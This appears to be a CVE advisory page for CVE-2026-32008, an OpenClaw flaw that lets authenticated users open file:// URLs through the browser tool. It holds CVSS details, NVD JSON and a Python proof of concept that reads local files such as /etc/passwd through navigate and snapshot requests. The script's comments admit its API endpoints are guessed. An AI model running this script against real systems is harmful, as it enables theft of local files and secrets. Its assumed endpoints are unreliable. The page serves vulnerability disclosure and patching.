Security Vulnerability Report
中文
CVE-2026-32008 CVSS 6.5 MEDIUM

CVE-2026-32008

Published: 2026-03-19 22:16:34
Last Modified: 2026-03-23 17:34:08

Description

OpenClaw versions prior to 2026.2.21 contain an improper URL scheme validation vulnerability in the assertBrowserNavigationAllowed() function that allows authenticated users with browser-tool access to navigate to file:// URLs. Attackers can exploit this by accessing local files readable by the OpenClaw process user through browser snapshot and extraction actions to exfiltrate sensitive data.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:* - VULNERABLE
OpenClaw < 2026.2.21

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-32008: OpenClaw Arbitrary Local File Read # This script demonstrates exploiting the improper URL scheme validation # to read local files via the browser-tool interface. import requests TARGET_URL = "http://target-openclaw-instance" API_KEY = "YOUR_AUTHENTICATED_API_KEY" # Requires PR:L (Low Privilege) access def exploit_local_file_read(file_path): # Step 1: Construct the malicious file:// URL # The vulnerability allows navigating to local files malicious_url = f"file://{file_path}" # Step 2: Use the browser-tool API to navigate to the local file # Endpoint assumes a generic structure based on the vulnerability description navigate_endpoint = f"{TARGET_URL}/api/browser/navigate" headers = {"Authorization": f"Bearer {API_KEY}"} payload = {"url": malicious_url} # Send navigation request # The assertBrowserNavigationAllowed() function fails to block 'file://' response = requests.post(navigate_endpoint, json=payload, headers=headers) if response.status_code == 200: print(f"[+] Successfully navigated to {malicious_url}") # Step 3: Take a snapshot to extract the file content snapshot_endpoint = f"{TARGET_URL}/api/browser/snapshot" snap_response = requests.get(snapshot_endpoint, headers=headers) if snap_response.status_code == 200: print("[+] Snapshot taken. File content extracted:") print(snap_response.text) else: print("[-] Failed to take snapshot.") else: print("[-] Navigation failed.") if __name__ == "__main__": # Example: Read /etc/passwd exploit_local_file_read("/etc/passwd")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-32008", "sourceIdentifier": "[email protected]", "published": "2026-03-19T22:16:33.577", "lastModified": "2026-03-23T17:34:08.087", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenClaw versions prior to 2026.2.21 contain an improper URL scheme validation vulnerability in the assertBrowserNavigationAllowed() function that allows authenticated users with browser-tool access to navigate to file:// URLs. Attackers can exploit this by accessing local files readable by the OpenClaw process user through browser snapshot and extraction actions to exfiltrate sensitive data."}, {"lang": "es", "value": "Las versiones de OpenClaw anteriores a la 2026.2.21 contienen una vulnerabilidad de validación de esquema de URL incorrecta en la función assertBrowserNavigationAllowed() que permite a los usuarios autenticados con acceso a la herramienta del navegador navegar a URLs de tipo file://. Los atacantes pueden explotar esto accediendo a archivos locales legibles por el usuario del proceso de OpenClaw a través de acciones de captura y extracción del navegador para exfiltrar datos sensibles."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-610"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "2026.2.21", "matchCriteriaId": "09CAA52D-0C33-41B4-854A-338CBFC45513"}]}]}], "references": [{"url": "https://github.com/openclaw/openclaw/commit/220bd95eff6838234e8b4b711f86d4565e16e401", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-45cg-2683-gfmq", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/openclaw-arbitrary-local-file-read-via-browser-navigation-guard", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-45cg-2683-gfmq", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}